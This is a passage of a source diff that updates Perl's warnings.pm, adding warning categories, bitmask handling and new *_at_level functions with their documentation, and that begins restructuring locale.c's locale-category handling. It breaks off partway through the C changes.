+    'experimental::lexical_subs'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00", # [52]
+    'experimental::postderef'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00", # [55]
+    'experimental::re_strict'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00", # [60]
+    'experimental::refaliasing'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00", # [61]
+    'experimental::regex_sets'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00", # [53]
+    'experimental::script_run'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02", # [68]
+    'experimental::signatures'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00", # [56]
+    'experimental::smartmatch'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00", # [54]
+    'experimental::win32_perlio'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00", # [62]
+    'glob'				=> "\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [4]
+    'illegalproto'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00", # [47]
+    'imprecision'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00", # [46]
+    'inplace'				=> "\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [23]
+    'internal'				=> "\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [24]
+    'io'				=> "\x00\xa8\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00", # [5..11,57]
+    'layer'				=> "\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [8]
+    'locale'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00", # [63]
+    'malloc'				=> "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [25]
+    'misc'				=> "\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [12]
+    'missing'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00", # [64]
+    'newline'				=> "\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [9]
+    'non_unicode'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00", # [48]
+    'nonchar'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00", # [49]
+    'numeric'				=> "\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [13]
+    'once'				=> "\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [14]
+    'overflow'				=> "\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [15]
+    'pack'				=> "\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [16]
+    'parenthesis'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [32]
+    'pipe'				=> "\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [10]
+    'portable'				=> "\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [17]
+    'precedence'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [33]
+    'printf'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [34]
+    'prototype'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [35]
+    'qw'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", # [36]
+    'recursion'				=> "\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [18]
+    'redefine'				=> "\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [19]
+    'redundant'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00", # [65]
+    'regexp'				=> "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [20]
+    'reserved'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00", # [37]
+    'semicolon'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00", # [38]
+    'severe'				=> "\x00\x00\x00\x00\x00\xa8\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [21..25]
+    'shadow'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08", # [69]
+    'signal'				=> "\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [26]
+    'substr'				=> "\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [27]
+    'surrogate'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00", # [50]
+    'syntax'				=> "\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\x2a\x00\x80\x00\x00\x00\x00\x00\x00", # [28..38,47]
+    'syscalls'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00", # [57]
+    'taint'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00", # [39]
+    'threads'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00", # [40]
+    'uninitialized'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00", # [41]
+    'unopened'				=> "\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [11]
+    'unpack'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00", # [42]
+    'untie'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00", # [43]
+    'utf8'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x2a\x00\x00\x00\x00\x00", # [44,48..50]
+    'void'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00", # [45]
 );
 
 # These are used by various things, including our own tests
-our $NONE				=  "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
-our $DEFAULT				=  "\x10\x01\x00\x00\x00\x50\x04\x00\x00\x00\x00\x00\x00\x55\x51\x55\x10", # [2,4,22,23,25,52..56,58..63,66]
-our $LAST_BIT				=  134 ;
-our $BYTES				=  17 ;
+our $NONE				=  "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
+our $DEFAULT				=  "\x10\x01\x00\x00\x00\x50\x04\x00\x00\x00\x00\x00\x00\x55\x51\x55\x50\x01", # [2,4,22,23,25,52..56,58..63,66..68]
+our $LAST_BIT				=  140 ;
+our $BYTES				=  18 ;
 
-our $All = "" ; vec($All, $Offsets{'all'}, 2) = 3 ;
-
 sub Croaker
 {
     require Carp; # this initializes %CarpInternal
@@ -254,6 +263,25 @@
     Carp::croak(@_);
 }
 
+sub _expand_bits {
+    my $bits = shift;
+    my $want_len = ($LAST_BIT + 7) >> 3;
+    my $len = length($bits);
+    if ($len != $want_len) {
+	if ($bits eq "") {
+	    $bits = "\x00" x $want_len;
+	} elsif ($len > $want_len) {
+	    substr $bits, $want_len, $len-$want_len, "";
+	} else {
+	    my $a = vec($bits, $Offsets{all} >> 1, 2);
+	    $a |= $a << 2;
+	    $a |= $a << 4;
+	    $bits .= chr($a) x ($want_len - $len);
+	}
+    }
+    return $bits;
+}
+
 sub _bits {
     my $mask = shift ;
     my $catmask ;
@@ -260,6 +288,7 @@
     my $fatal = 0 ;
     my $no_fatal = 0 ;
 
+    $mask = _expand_bits($mask);
     foreach my $word ( @_ ) {
 	if ($word eq 'FATAL') {
 	    $fatal = 1;
@@ -272,7 +301,7 @@
 	elsif ($catmask = $Bits{$word}) {
 	    $mask |= $catmask ;
 	    $mask |= $DeadBits{$word} if $fatal ;
-	    $mask &= ~($DeadBits{$word}|$All) if $no_fatal ;
+	    $mask = ~(~$mask | $DeadBits{$word}) if $no_fatal ;
 	}
 	else
 	  { Croaker("Unknown warnings category '$word'")}
@@ -285,7 +314,7 @@
 {
     # called from B::Deparse.pm
     push @_, 'all' unless @_ ;
-    return _bits(undef, @_) ;
+    return _bits("", @_) ;
 }
 
 sub import
@@ -294,16 +323,12 @@
 
     my $mask = ${^WARNING_BITS} // ($^W ? $Bits{all} : $DEFAULT) ;
 
-    if (vec($mask, $Offsets{'all'}, 1)) {
-	$mask |= $Bits{'all'} ;
-	$mask |= $DeadBits{'all'} if vec($mask, $Offsets{'all'}+1, 1);
-    }
+    # append 'all' when implied (empty import list or after a lone
+    # "FATAL" or "NONFATAL")
+    push @_, 'all'
+	if !@_ || (@_==1 && ($_[0] eq 'FATAL' || $_[0] eq 'NONFATAL'));
 
-    # append 'all' when implied (after a lone "FATAL" or "NONFATAL")
-    push @_, 'all' if @_==1 && ( $_[0] eq 'FATAL' || $_[0] eq 'NONFATAL' );
-
-    # Empty @_ is equivalent to @_ = 'all' ;
-    ${^WARNING_BITS} = @_ ? _bits($mask, @_) : $mask | $Bits{all} ;
+    ${^WARNING_BITS} = _bits($mask, @_);
 }
 
 sub unimport
@@ -313,20 +338,16 @@
     my $catmask ;
     my $mask = ${^WARNING_BITS} // ($^W ? $Bits{all} : $DEFAULT) ;
 
-    if (vec($mask, $Offsets{'all'}, 1)) {
-	$mask |= $Bits{'all'} ;
-	$mask |= $DeadBits{'all'} if vec($mask, $Offsets{'all'}+1, 1);
-    }
-
     # append 'all' when implied (empty import list or after a lone "FATAL")
     push @_, 'all' if !@_ || @_==1 && $_[0] eq 'FATAL';
 
+    $mask = _expand_bits($mask);
     foreach my $word ( @_ ) {
 	if ($word eq 'FATAL') {
 	    next;
 	}
 	elsif ($catmask = $Bits{$word}) {
-	    $mask &= ~($catmask | $DeadBits{$word} | $All);
+	    $mask = ~(~$mask | $catmask | $DeadBits{$word});
 	}
 	else
 	  { Croaker("Unknown warnings category '$word'")}
@@ -337,6 +358,7 @@
 
 my %builtin_type; @builtin_type{qw(SCALAR ARRAY HASH CODE REF GLOB LVALUE Regexp)} = ();
 
+sub LEVEL () { 8 };
 sub MESSAGE () { 4 };
 sub FATAL () { 2 };
 sub NORMAL () { 1 };
@@ -348,8 +370,18 @@
     my $isobj = 0 ;
     my $wanted = shift;
     my $has_message = $wanted & MESSAGE;
+    my $has_level   = $wanted & LEVEL  ;
 
-    unless (@_ == 1 || @_ == ($has_message ? 2 : 0)) {
+    if ($has_level) {
+	if (@_ != ($has_message ? 3 : 2)) {
+	    my $sub = (caller 1)[3];
+	    my $syntax = $has_message
+		? "category, level, 'message'"
+		: 'category, level';
+	    Croaker("Usage: $sub($syntax)");
+        }
+    }
+    elsif (not @_ == 1 || @_ == ($has_message ? 2 : 0)) {
 	my $sub = (caller 1)[3];
 	my $syntax = $has_message ? "[category,] 'message'" : '[category]';
 	Croaker("Usage: $sub($syntax)");
@@ -387,6 +419,9 @@
 	}
 	$i -= 2 ;
     }
+    elsif ($has_level) {
+	$i = 2 + shift;
+    }
     else {
 	$i = _error_loc(); # see where Carp will allocate the error
     }
@@ -396,13 +431,13 @@
     my(@callers_bitmask) = (caller($i))[9] ;
     my $callers_bitmask =
 	 @callers_bitmask ? $callers_bitmask[0] // $DEFAULT : 0 ;
+    length($callers_bitmask) > ($offset >> 3) or $offset = $Offsets{all};
 
     my @results;
     foreach my $type (FATAL, NORMAL) {
 	next unless $wanted & $type;
 
-	push @results, (vec($callers_bitmask, $offset + $type - 1, 1) ||
-			vec($callers_bitmask, $Offsets{'all'} + $type - 1, 1));
+	push @results, vec($callers_bitmask, $offset + $type - 1, 1);
     }
 
     # &enabled and &fatal_enabled
@@ -409,9 +444,22 @@
     return $results[0] unless $has_message;
 
     # &warnif, and the category is neither enabled as warning nor as fatal
-    return if $wanted == (NORMAL | FATAL | MESSAGE)
+    return if ($wanted & (NORMAL | FATAL | MESSAGE))
+		      == (NORMAL | FATAL | MESSAGE)
 	&& !($results[0] || $results[1]);
 
+    # If we have an explicit level, bypass Carp.
+    if ($has_level and @callers_bitmask) {
+	# logic copied from util.c:mess_sv
+	my $stuff = " at " . join " line ", (caller $i)[1,2];
+	$stuff .= sprintf ", <%s> %s %d",
+			   *${^LAST_FH}{NAME},
+			   ($/ eq "\n" ? "line" : "chunk"), $.
+	    if $. && ${^LAST_FH};
+	die "$message$stuff.\n" if $results[0];
+	return warn "$message$stuff.\n";
+    }
+
     require Carp;
     Carp::croak($message) if $results[0];
     # will always get here for &warn. will only get here for &warnif if the
@@ -434,14 +482,13 @@
 
     for my $name (@names) {
 	if (! defined $Bits{$name}) {
-	    $Bits{$name}     = _mkMask($LAST_BIT);
-	    vec($Bits{'all'}, $LAST_BIT, 1) = 1;
-	    $Offsets{$name}  = $LAST_BIT ++;
-	    foreach my $k (keys %Bits) {
-		vec($Bits{$k}, $LAST_BIT, 1) = 0;
+	    $Offsets{$name}  = $LAST_BIT;
+	    $Bits{$name}     = _mkMask($LAST_BIT++);
+	    $DeadBits{$name} = _mkMask($LAST_BIT++);
+	    if (length($Bits{$name}) > length($Bits{all})) {
+		$Bits{all} .= "\x55";
+		$DeadBits{all} .= "\xaa";
 	    }
-	    $DeadBits{$name} = _mkMask($LAST_BIT);
-	    vec($DeadBits{'all'}, $LAST_BIT++, 1) = 1;
 	}
     }
 }
@@ -471,9 +518,29 @@
     return __chk(NORMAL | FATAL | MESSAGE, @_);
 }
 
+sub enabled_at_level
+{
+    return __chk(NORMAL | LEVEL, @_);
+}
+
+sub fatal_enabled_at_level
+{
+    return __chk(FATAL | LEVEL, @_);
+}
+
+sub warn_at_level
+{
+    return __chk(FATAL | MESSAGE | LEVEL, @_);
+}
+
+sub warnif_at_level
+{
+    return __chk(NORMAL | FATAL | MESSAGE | LEVEL, @_);
+}
+
 # These are not part of any public interface, so we can delete them to save
 # space.
-delete @warnings::{qw(NORMAL FATAL MESSAGE)};
+delete @warnings::{qw(NORMAL FATAL MESSAGE LEVEL)};
 
 1;
 __END__
@@ -726,6 +793,8 @@
          |
          +- experimental --+
          |                 |
+         |                 +- experimental::alpha_assertions
+         |                 |
          |                 +- experimental::bitwise
          |                 |
          |                 +- experimental::const_attr
@@ -742,6 +811,8 @@
          |                 |
          |                 +- experimental::regex_sets
          |                 |
+         |                 +- experimental::script_run
+         |                 |
          |                 +- experimental::signatures
          |                 |
          |                 +- experimental::smartmatch
@@ -802,6 +873,8 @@
          |                 |
          |                 +- malloc
          |
+         +- shadow
+         |
          +- signal
          |
          +- substr
@@ -1138,6 +1211,9 @@
 
 =head1 FUNCTIONS
 
+Note: The functions with names ending in C<_at_level> were added in Perl
+5.28.
+
 =over 4
 
 =item use warnings::register
@@ -1167,6 +1243,11 @@
 where the object is used.
 Otherwise returns FALSE.
 
+=item warnings::enabled_at_level($category, $level)
+
+Like C<warnings::enabled>, but $level specifies the exact call frame, 0
+being the immediate caller.
+
 =item warnings::fatal_enabled()
 
 Return TRUE if the warnings category with the same name as the current
@@ -1188,6 +1269,11 @@
 scope where the object is used.
 Otherwise returns FALSE.
 
+=item warnings::fatal_enabled_at_level($category, $level)
+
+Like C<warnings::fatal_enabled>, but $level specifies the exact call frame,
+0 being the immediate caller.
+
 =item warnings::warn($message)
 
 Print C<$message> to STDERR.
@@ -1214,7 +1300,11 @@
 If that warnings category has been set to "FATAL" in the scope where C<$object>
 is first used then die. Otherwise return.
 
+=item warnings::warn_at_level($category, $level, $message)
 
+Like C<warnings::warn>, but $level specifies the exact call frame,
+0 being the immediate caller.
+
 =item warnings::warnif($message)
 
 Equivalent to:
@@ -1236,6 +1326,11 @@
     if (warnings::enabled($object))
       { warnings::warn($object, $message) }
 
+=item warnings::warnif_at_level($category, $level, $message)
+
+Like C<warnings::warnif>, but $level specifies the exact call frame,
+0 being the immediate caller.
+
 =item warnings::register_categories(@names)
 
 This registers warning categories for the given names and is primarily for

Modified: vendor/perl/dist/locale.c
===================================================================
--- vendor/perl/dist/locale.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/locale.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,8 +23,8 @@
 /* utility functions for handling locale-specific stuff like what
  * character represents the decimal point.
  *
- * All C programs have an underlying locale.  Perl generally doesn't pay any
- * attention to it except within the scope of a 'use locale'.  For most
+ * All C programs have an underlying locale.  Perl code generally doesn't pay
+ * any attention to it except within the scope of a 'use locale'.  For most
  * categories, it accomplishes this by just using different operations if it is
  * in such scope than if not.  However, various libc functions called by Perl
  * are affected by the LC_NUMERIC category, so there are macros in perl.h that
@@ -32,52 +32,107 @@
  * the desired behavior of those functions at the moment.  And, LC_MESSAGES is
  * switched to the C locale for outputting the message unless within the scope
  * of 'use locale'.
+ *
+ * This code now has multi-thread-safe locale handling on systems that support
+ * that.  This is completely transparent to most XS code.  On earlier systems,
+ * it would be possible to emulate thread-safe locales, but this likely would
+ * involve a lot of locale switching, and would require XS code changes.
+ * Macros could be written so that the code wouldn't have to know which type of
+ * system is being used.  It's unlikely that we would ever do that, since most
+ * modern systems support thread-safe locales, but there was code written to
+ * this end, and is retained, #ifdef'd out.
  */
 
 #include "EXTERN.h"
 #define PERL_IN_LOCALE_C
+#include "perl_langinfo.h"
 #include "perl.h"
 
-#ifdef I_LANGINFO
-#   include <langinfo.h>
+#include "reentr.h"
+
+#ifdef I_WCHAR
+#  include <wchar.h>
 #endif
 
-#include "reentr.h"
-
 /* If the environment says to, we can output debugging information during
  * initialization.  This is done before option parsing, and before any thread
  * creation, so can be a file-level static */
-#ifdef DEBUGGING
-# ifdef PERL_GLOBAL_STRUCT
-  /* no global syms allowed */
+#if ! defined(DEBUGGING) || defined(PERL_GLOBAL_STRUCT)
 #  define debug_initialization 0
 #  define DEBUG_INITIALIZATION_set(v)
-# else
+#else
 static bool debug_initialization = FALSE;
 #  define DEBUG_INITIALIZATION_set(v) (debug_initialization = v)
-# endif
 #endif
 
+
+/* Returns the Unix errno portion; ignoring any others.  This is a macro here
+ * instead of putting it into perl.h, because unclear to khw what should be
+ * done generally. */
+#define GET_ERRNO   saved_errno
+
+/* strlen() of a literal string constant.  We might want this more general,
+ * but using it in just this file for now.  A problem with more generality is
+ * the compiler warnings about comparing unlike signs */
+#define STRLENs(s)  (sizeof("" s "") - 1)
+
+/* Is the C string input 'name' "C" or "POSIX"?  If so, and 'name' is the
+ * return of setlocale(), then this is extremely likely to be the C or POSIX
+ * locale.  However, the output of setlocale() is documented to be opaque, but
+ * the odds are extremely small that it would return these two strings for some
+ * other locale.  Note that VMS in these two locales includes many non-ASCII
+ * characters as controls and punctuation (below are hex bytes):
+ *   cntrl:  84-97 9B-9F
+ *   punct:  A1-A3 A5 A7-AB B0-B3 B5-B7 B9-BD BF-CF D1-DD DF-EF F1-FD
+ * Oddly, none there are listed as alphas, though some represent alphabetics
+ * http://www.nntp.perl.org/group/perl.perl5.porters/2013/02/msg198753.html */
+#define isNAME_C_OR_POSIX(name)                                              \
+                             (   (name) != NULL                              \
+                              && (( *(name) == 'C' && (*(name + 1)) == '\0') \
+                                   || strEQ((name), "POSIX")))
+
 #ifdef USE_LOCALE
 
-/*
- * Standardize the locale name from a string returned by 'setlocale', possibly
- * modifying that string.
+/* This code keeps a LRU cache of the UTF-8ness of the locales it has so-far
+ * looked up.  This is in the form of a C string:  */
+
+#define UTF8NESS_SEP     "\v"
+#define UTF8NESS_PREFIX  "\f"
+
+/* So, the string looks like:
  *
- * The typical return value of setlocale() is either
- * (1) "xx_YY" if the first argument of setlocale() is not LC_ALL
- * (2) "xa_YY xb_YY ..." if the first argument of setlocale() is LC_ALL
- *     (the space-separated values represent the various sublocales,
- *      in some unspecified order).  This is not handled by this function.
+ *      \vC\a0\vPOSIX\a0\vam_ET\a0\vaf_ZA.utf8\a1\ven_US.UTF-8\a1\0
  *
- * In some platforms it has a form like "LC_SOMETHING=Lang_Country.866\n",
- * which is harmful for further use of the string in setlocale().  This
- * function removes the trailing new line and everything up through the '='
- *
- */
+ * where the digit 0 after the \a indicates that the locale starting just
+ * after the preceding \v is not UTF-8, and the digit 1 mean it is. */
+
+STATIC_ASSERT_DECL(STRLENs(UTF8NESS_SEP) == 1);
+STATIC_ASSERT_DECL(STRLENs(UTF8NESS_PREFIX) == 1);
+
+#define C_and_POSIX_utf8ness    UTF8NESS_SEP "C"     UTF8NESS_PREFIX "0"    \
+                                UTF8NESS_SEP "POSIX" UTF8NESS_PREFIX "0"
+
+/* The cache is initialized to C_and_POSIX_utf8ness at start up.  These are
+ * kept there always.  The remining portion of the cache is LRU, with the
+ * oldest looked-up locale at the tail end */
+
 STATIC char *
 S_stdize_locale(pTHX_ char *locs)
 {
+    /* Standardize the locale name from a string returned by 'setlocale',
+     * possibly modifying that string.
+     *
+     * The typical return value of setlocale() is either
+     * (1) "xx_YY" if the first argument of setlocale() is not LC_ALL
+     * (2) "xa_YY xb_YY ..." if the first argument of setlocale() is LC_ALL
+     *     (the space-separated values represent the various sublocales,
+     *      in some unspecified order).  This is not handled by this function.
+     *
+     * In some platforms it has a form like "LC_SOMETHING=Lang_Country.866\n",
+     * which is harmful for further use of the string in setlocale().  This
+     * function removes the trailing new line and everything up through the '='
+     * */
+
     const char * const s = strchr(locs, '=');
     bool okay = TRUE;
 
@@ -103,78 +158,1168 @@
     return locs;
 }
 
+/* Two parallel arrays; first the locale categories Perl uses on this system;
+ * the second array is their names.  These arrays are in mostly arbitrary
+ * order. */
+
+const int categories[] = {
+
+#    ifdef USE_LOCALE_NUMERIC
+                             LC_NUMERIC,
+#    endif
+#    ifdef USE_LOCALE_CTYPE
+                             LC_CTYPE,
+#    endif
+#    ifdef USE_LOCALE_COLLATE
+                             LC_COLLATE,
+#    endif
+#    ifdef USE_LOCALE_TIME
+                             LC_TIME,
+#    endif
+#    ifdef USE_LOCALE_MESSAGES
+                             LC_MESSAGES,
+#    endif
+#    ifdef USE_LOCALE_MONETARY
+                             LC_MONETARY,
+#    endif
+#    ifdef USE_LOCALE_ADDRESS
+                             LC_ADDRESS,
+#    endif
+#    ifdef USE_LOCALE_IDENTIFICATION
+                             LC_IDENTIFICATION,
+#    endif
+#    ifdef USE_LOCALE_MEASUREMENT
+                             LC_MEASUREMENT,
+#    endif
+#    ifdef USE_LOCALE_PAPER
+                             LC_PAPER,
+#    endif
+#    ifdef USE_LOCALE_TELEPHONE
+                             LC_TELEPHONE,
+#    endif
+#    ifdef LC_ALL
+                             LC_ALL,
+#    endif
+                            -1  /* Placeholder because C doesn't allow a
+                                   trailing comma, and it would get complicated
+                                   with all the #ifdef's */
+};
+
+/* The top-most real element is LC_ALL */
+
+const char * category_names[] = {
+
+#    ifdef USE_LOCALE_NUMERIC
+                                 "LC_NUMERIC",
+#    endif
+#    ifdef USE_LOCALE_CTYPE
+                                 "LC_CTYPE",
+#    endif
+#    ifdef USE_LOCALE_COLLATE
+                                 "LC_COLLATE",
+#    endif
+#    ifdef USE_LOCALE_TIME
+                                 "LC_TIME",
+#    endif
+#    ifdef USE_LOCALE_MESSAGES
+                                 "LC_MESSAGES",
+#    endif
+#    ifdef USE_LOCALE_MONETARY
+                                 "LC_MONETARY",
+#    endif
+#    ifdef USE_LOCALE_ADDRESS
+                                 "LC_ADDRESS",
+#    endif
+#    ifdef USE_LOCALE_IDENTIFICATION
+                                 "LC_IDENTIFICATION",
+#    endif
+#    ifdef USE_LOCALE_MEASUREMENT
+                                 "LC_MEASUREMENT",
+#    endif
+#    ifdef USE_LOCALE_PAPER
+                                 "LC_PAPER",
+#    endif
+#    ifdef USE_LOCALE_TELEPHONE
+                                 "LC_TELEPHONE",
+#    endif
+#    ifdef LC_ALL
+                                 "LC_ALL",
+#    endif
+                                 NULL  /* Placeholder */
+                            };
+
+#  ifdef LC_ALL
+
+    /* On systems with LC_ALL, it is kept in the highest index position.  (-2
+     * to account for the final unused placeholder element.) */
+#    define NOMINAL_LC_ALL_INDEX (C_ARRAY_LENGTH(categories) - 2)
+
+#  else
+
+    /* On systems without LC_ALL, we pretend it is there, one beyond the real
+     * top element, hence in the unused placeholder element. */
+#    define NOMINAL_LC_ALL_INDEX (C_ARRAY_LENGTH(categories) - 1)
+
+#  endif
+
+/* Pretending there is an LC_ALL element just above allows us to avoid most
+ * special cases.  Most loops through these arrays in the code below are
+ * written like 'for (i = 0; i < NOMINAL_LC_ALL_INDEX; i++)'.  They will work
+ * on either type of system.  But the code must be written to not access the
+ * element at 'LC_ALL_INDEX' except on platforms that have it.  This can be
+ * checked for at compile time by using the #define LC_ALL_INDEX which is only
+ * defined if we do have LC_ALL. */
+
+STATIC const char *
+S_category_name(const int category)
+{
+    unsigned int i;
+
+#ifdef LC_ALL
+
+    if (category == LC_ALL) {
+        return "LC_ALL";
+    }
+
 #endif
 
-void
-Perl_set_numeric_radix(pTHX)
+    for (i = 0; i < NOMINAL_LC_ALL_INDEX; i++) {
+        if (category == categories[i]) {
+            return category_names[i];
+        }
+    }
+
+    {
+        const char suffix[] = " (unknown)";
+        int temp = category;
+        Size_t length = sizeof(suffix) + 1;
+        char * unknown;
+        dTHX;
+
+        if (temp < 0) {
+            length++;
+            temp = - temp;
+        }
+
+        /* Calculate the number of digits */
+        while (temp >= 10) {
+            temp /= 10;
+            length++;
+        }
+
+        Newx(unknown, length, char);
+        my_snprintf(unknown, length, "%d%s", category, suffix);
+        SAVEFREEPV(unknown);
+        return unknown;
+    }
+}
+
+/* Now create LC_foo_INDEX #defines for just those categories on this system */
+#  ifdef USE_LOCALE_NUMERIC
+#    define LC_NUMERIC_INDEX            0
+#    define _DUMMY_NUMERIC              LC_NUMERIC_INDEX
+#  else
+#    define _DUMMY_NUMERIC              -1
+#  endif
+#  ifdef USE_LOCALE_CTYPE
+#    define LC_CTYPE_INDEX              _DUMMY_NUMERIC + 1
+#    define _DUMMY_CTYPE                LC_CTYPE_INDEX
+#  else
+#    define _DUMMY_CTYPE                _DUMMY_NUMERIC
+#  endif
+#  ifdef USE_LOCALE_COLLATE
+#    define LC_COLLATE_INDEX            _DUMMY_CTYPE + 1
+#    define _DUMMY_COLLATE              LC_COLLATE_INDEX
+#  else
+#    define _DUMMY_COLLATE              _DUMMY_COLLATE
+#  endif
+#  ifdef USE_LOCALE_TIME
+#    define LC_TIME_INDEX               _DUMMY_COLLATE + 1
+#    define _DUMMY_TIME                 LC_TIME_INDEX
+#  else
+#    define _DUMMY_TIME                 _DUMMY_COLLATE
+#  endif
+#  ifdef USE_LOCALE_MESSAGES
+#    define LC_MESSAGES_INDEX           _DUMMY_TIME + 1
+#    define _DUMMY_MESSAGES             LC_MESSAGES_INDEX
+#  else
+#    define _DUMMY_MESSAGES             _DUMMY_TIME
+#  endif
+#  ifdef USE_LOCALE_MONETARY
+#    define LC_MONETARY_INDEX           _DUMMY_MESSAGES + 1
+#    define _DUMMY_MONETARY             LC_MONETARY_INDEX
+#  else
+#    define _DUMMY_MONETARY             _DUMMY_MESSAGES
+#  endif
+#  ifdef USE_LOCALE_ADDRESS
+#    define LC_ADDRESS_INDEX            _DUMMY_MONETARY + 1
+#    define _DUMMY_ADDRESS              LC_ADDRESS_INDEX
+#  else
+#    define _DUMMY_ADDRESS              _DUMMY_MONETARY
+#  endif
+#  ifdef USE_LOCALE_IDENTIFICATION
+#    define LC_IDENTIFICATION_INDEX     _DUMMY_ADDRESS + 1
+#    define _DUMMY_IDENTIFICATION       LC_IDENTIFICATION_INDEX
+#  else
+#    define _DUMMY_IDENTIFICATION       _DUMMY_ADDRESS
+#  endif
+#  ifdef USE_LOCALE_MEASUREMENT
+#    define LC_MEASUREMENT_INDEX        _DUMMY_IDENTIFICATION + 1
+#    define _DUMMY_MEASUREMENT          LC_MEASUREMENT_INDEX
+#  else
+#    define _DUMMY_MEASUREMENT          _DUMMY_IDENTIFICATION
+#  endif
+#  ifdef USE_LOCALE_PAPER
